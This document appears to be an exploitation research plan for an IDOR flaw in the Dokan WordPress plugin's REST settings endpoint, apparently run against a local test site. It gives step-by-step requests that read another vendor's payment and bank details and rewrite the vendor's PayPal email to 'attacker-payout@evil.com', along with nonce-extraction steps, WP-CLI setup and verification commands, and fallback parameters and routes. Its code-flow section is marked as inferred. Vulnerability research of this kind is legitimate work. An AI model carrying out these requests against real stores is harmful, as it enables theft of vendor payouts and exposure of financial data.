Exploitation Research Plan - CVE-2025-14977 (Dokan IDOR)

1. Vulnerability Summary

The Dokan Multi-vendor plugin for WordPress is vulnerable to an Insecure Direct Object Reference (IDOR) in its REST API settings endpoint (/wp-json/dokan/v1/settings). The vulnerability exists because the controller responsible for fetching and updating store settings fails to validate that the id (or vendor_id) parameter provided in the request matches the ID of the currently authenticated user.

This allows any authenticated user (including those with the Customer role) to view or modify the store settings of any other vendor. This includes sensitive financial information like PayPal email addresses, bank account details (IBAN, SWIFT), and store addresses. Changing a vendor's PayPal email to an attacker-controlled address results in the redirection of future payouts, leading to financial theft.

2. Attack Vector Analysis

• Endpoint: /wp-json/dokan/v1/settings
• Method: GET (Disclosure) and POST or PUT (Modification)
• Vulnerable Parameter: id (or vendor_id) passed as a query parameter or within the request body.
• Authentication: Required (at least Customer role).
• Preconditions:
  • The plugin dokan-lite must be active (version <= 4.2.4).
  • The attacker needs a valid login (Customer or Vendor).
  • The attacker needs to know the ID of the target vendor (easily enumerable).

3. Code Flow (Inferred)

1. Route Registration: The plugin registers the settings route in a REST Controller (likely Dokan_REST_Settings_Controller or within StoreController).
2. Permission Check: The permission_callback for this route likely uses is_user_logged_in() or a low-level capability that is granted to all registered users by default.
3. Data Retrieval/Update:
   • The handler (e.g., get_item or update_item) checks for an id parameter in the $request.
   • If id is present, it uses this ID to load the vendor's settings from wp_usermeta (Dokan stores settings in the dokan_profile_settings meta key).
   • Vulnerability: The code fails to compare get_current_user_id() with the requested id.
4. Sink: get_user_meta( $id, 'dokan_profile_settings' ) for disclosure and update_user_meta( $id, 'dokan_profile_settings', ... ) for modification.

4. Nonce Acquisition Strategy

REST API requests in WordPress require a _wpnonce or the X-WP-Nonce header. For an authenticated user, this nonce is for the wp_rest action.

1. Shortcode/Page: Dokan uses a dashboard for vendors/customers. The [dokan-dashboard] or [dokan-best-selling-product] shortcodes are likely to enqueue scripts that contain the nonce.
2. Strategy:
   • Create a page containing a Dokan shortcode: wp post create --post_type=page --post_status=publish --post_content='[dokan-dashboard]'.
   • Navigate to the page as an authenticated user.
   • Use browser_eval to extract the REST nonce from the localized JS objects.
   • Variable Name: Dokan often localizes data in dokan or dokan_settings.
   • Verification: Check window.dokan?.nonce or window.dokan?.rest?.nonce.

5. Exploitation Strategy

Step 1: Disclosure (Sensitive Information)

Request:

• URL: http://localhost:8080/wp-json/dokan/v1/settings?id=<TARGET_VENDOR_ID>
• Method: GET
• Headers:
  • X-WP-Nonce: <EXTRACTED_NONCE>
  • Cookie: <AUTH_COOKIES>

Expected Response: A JSON object containing the target vendor's payment details, address, and phone.

Step 2: Modification (Account Takeover / Financial Theft)

Request:

• URL: http://localhost:8080/wp-json/dokan/v1/settings?id=<TARGET_VENDOR_ID>
• Method: POST
• Headers:
  • X-WP-Nonce: <EXTRACTED_NONCE>
  • Content-Type: application/json
  • Cookie: <AUTH_COOKIES>
• Payload:

{
  "payment": {
    "paypal": {
      "email": "attacker-payout@evil.com"
    }
  }
}

6. Test Data Setup

1. Victim Vendor (User ID 2):
   • Username: vendor_victim
   • Role: vendor
   • Store Settings: Set PayPal email to legit-vendor@example.com.
2. Attacker (User ID 3):
   • Username: customer_attacker
   • Role: customer
3. Dokan Page: Create a page for nonce extraction:
   wp post create --post_type=page --post_title="Dokan Dash" --post_content="[dokan-dashboard]" --post_status="publish"

7. Expected Results

• GET Request: Returns a 200 OK with JSON data revealing the victim's PayPal email.
• POST Request: Returns a 200 OK confirming the update.
• Data State: The dokan_profile_settings meta value for the victim user is updated to the attacker's email.

8. Verification Steps

After performing the POST request, verify the change via WP-CLI:

wp user meta get 2 dokan_profile_settings --format=json

Check if the output contains "paypal":{"email":"attacker-payout@evil.com"}.

9. Alternative Approaches

• Parameter Variation: If ?id= fails, try ?vendor_id= or passing id inside the JSON body: {"id": 2, "payment": ...}.
• Route Variation: Some Dokan versions use /wp-json/dokan/v1/stores/<id>/settings.
• Capability Check: If the Customer role fails, check if the attacker needs to be registered as a Vendor (even if they have no store yet) to satisfy permission_callback. Use wp user set-role <attacker_id> seller.